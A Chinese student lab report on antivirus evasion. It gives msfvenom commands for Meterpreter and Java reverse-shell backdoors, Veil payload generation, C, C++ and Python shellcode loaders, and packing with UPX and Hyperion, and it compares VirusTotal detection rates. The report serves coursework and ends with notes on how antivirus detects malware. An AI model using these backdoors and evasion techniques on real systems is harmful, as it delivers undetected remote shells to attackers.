2019-2020-2 网络对抗技术 20175211 Exp3 免杀原理与实践

实践内容

方法

正确使用msf编码器

msfvenom是一个payload生成器和编码器

  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • > 输出到哪个文件

输入msfvenom -l encoders查看编码器有哪

我们选择x86中唯一一个excellent评级的编码器x86/shikata_ga_nai,使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.79.137 LPORT=5211 -f exe > 20175211_backdoor.exe

丢到virustotal上去检测一下,毕竟msf这么出名,检测出来的还是很多的。

再来尝试一下多次编码会不会免杀效果会好一点?使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.79.137 LPORT=5211 -f exe -i 10 -b '\x00' > 20175211_backdoor.exe

然而检测的效果甚至还不如没有多次加密

原因是AV研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了

msfvenom生成如jar之类的其他文件

msfvenom -l payloads|grep java查看java相关的payload

这里就选个简单的java/shell_reverse_tcpmsfvenom -p java/shell_reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f jar > 20175211_backdoor.jar。有意思的是,之前把20175211_backdoor.exe移到宿主机的时候,火绒直接报毒了,但是对此时的20175211_backdoor.jar却没有反应。丢到vt上检测一下,看来对jar文件检测出来的稍微少一点。

但是在测试jar后门可用性的时候却遇到了一点问题,kalinc -lvvp 5211,宿主机java -jar 20175211_backdoor.exe

链接在建立后瞬间就断开了,我一度怀疑是payload的问题

后来看到火绒安全日志更新,打开来看才知道是火绒把链接断了

看来光看静态查杀能力是不能全面评价一个杀软的能力的,现代AV都是一个全方位立体防护体系,除了特征码以外,还会有行为分析等种种方法来保护主机。
关掉火绒的网络监测后,成功收到shell

veil

Veil是一个免杀平台,与Metasploit有点类似,手动安装有不少麻烦,我建议直接apt-get install veil -y,然后/usr/share/veil/config/setup.sh --force --silent,这里安装依赖的时候会很慢,可以把依赖仓库导入到码云,然后在setup.sh里找git clone,把仓库换成自己码云的仓库就会快很多。
veil进入,输入use evasion命令进入veil-evasion,list payload查看有哪些payload

use c/meterpreter/rev_tcp.py选择payload

set LHOST 192.168.79.137
set LPORT 5211
generate生成文件,输入要生成的文件名

这样就生成了一个后门,但是veil和msf一样也是很多安全厂商盯着的,所以这个后门免杀效果和msfvenom差不多

C语言调用Shellcode

Linux平台交叉编译Windows应用

这次换个编码器玩玩
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f c -e x86/call4_dword_xor > 5211.c

再在其中加上调用部分

#include <stdio.h>
#include <stdlib.h>

unsigned char buf[] = 
"\x31\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
...

int main(){
    int (*func)() = (int(*)())buf;
    func();
}

编译i686-w64-mingw32-g++ 5211.c -o /mnt/hgfs/Kalishare/5211.exe
不过还是被火绒杀出来了

VisualStudio编译Windows应用

安装VisualStudio Community 2019,创建shellcode.cpp

#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char met[] =
"shellcode here"
...

int main()
{
	DWORD old = 0;
	BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
	INT32 * addr;
	addr =(INT32*) &met;

	__asm;
	{
		call addr;
	}
	return 0;
}

运行后成功收到shell

vt上也只有14个检测出。

加壳工具

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 从技术上分壳分为:
    • 压缩壳
      减少应用体积,如ASPack,UPX
    • 加密壳
      版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机
      通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

压缩壳UPX

给之前的5211.exe加个壳得到5211.upxed.exe,upx 5211.exe -o 5211.upxed.exe,照样被火绒查出来,丢到vt上表现也不是很好

加密壳Hyperion

安装方法参考【渗透测试】在Kali中使用mingw-w64编译Hyperion(包括旧的常用的1.x版本和最新的2.2版本)
wine hyperion.exe -v veil_c_5211.exe veil_c_5211.hypered.exe

表现仍然一般,可能比较老的关系

使用其他课堂未介绍方法

在学习过程中,我搜到了一个关于免杀的系列文章挺不错的远控免杀从入门到实践(1):基础篇,其中提到一种分离免杀,也就是将ShellCode和加载器分离。比如这个加载器shellcode_launcher
首先还是用msf生成shellcode,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.79.137 LPORT=5211 -f raw > 5211.raw,然后运行加载器,.\shellcode_launcher -i 5211.raw

成功收到shell

5211.raw丢到vt上,仅有1个杀出来

当然也有几个能杀出加载器的。

通过组合应用各种技术实现恶意代码免杀

原理:通过py源码编译exe
照样先用msf生成shellcode,然后放到如下代码中

import ctypes

buf = "shellcode here"

shellcode = buf

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

在wine中安装python2.7-x86和pyinstaller

wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
wine msiexec /i python-2.7.16.msi
wine pip install pyinstaller

然后就可以用pyinstaller来打包
wine pyinstaller -F pyshellcode.py
vt上检测结果如下

之后我尝试组合其他技术,比如对shellcode进行base64或者加'\x00'等手段编码,但是并没有任何效果,我猜测一些杀软的特征码可能并不是针对shellcode的,而是你加载shellcode的方式,所以你shellcode编的再花里胡哨都没有用。
在这之后我又尝试了加壳,upx和Hyperion都尝试了,结果检测出来的几率反而变得很高,似乎一些杀软根本就没管你里面是什么,加了壳就报就完事,我只能说很流氓,也很有效。

用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • OS:windows 10
  • AV:火绒安全软件 v5.0.40.10
    共生情况

报告内容

基础问题回答

  • (1)杀软是如何检测出恶意代码的?
    • 基于特征码的检测:将扫描信息与病毒数据库(即所谓的“病毒特征库)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染
    • 启发式恶意软件检测:如果一个软件它看起来像病毒或者行为像病毒,那就把它认为是病毒
    • 基于行为的恶意软件检测:是启发式的一种,针对软件的行为进行监控
  • (2)免杀是做什么?
    免杀就是利用各种方式“反-反病毒”,逃过杀毒软件的检测
  • (3)免杀的基本方法有哪些?
    • 改变特征码
      • 对shellcode编码
      • 加壳
      • 基于payload重新编译生成可执行文件
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

实践总结与体会

这次试验配环境反而是花时间最多的部分,其余部分因为有前几次试验的基础所以倒也不难。
通过老师给出的免杀方法和网上学习到的一些其他方法,要做到针对某一杀软免杀并不算很难。只能说魔高一尺,道高一丈,攻防两方永远在一个动态平衡之中,免杀还是有很多奇技淫巧的。
另外免杀也不是就像搭积木一样单纯的把各种方法往上套就行的,因为这样引入的特征码可能也会更多,反而更容易被检测出来

开启杀软能绝对防止电脑中恶意代码吗?

当然不能,本次试验已经证明。作为用户,我们能做的就是养成良好的电脑使用习惯,提高警惕,不乱点链接乱下文件,当然一款合格的杀软还是能抵御很多风险的

posted @ 2020-03-27 14:01  MustaphaMond  阅读(607)  评论(0编辑  收藏  举报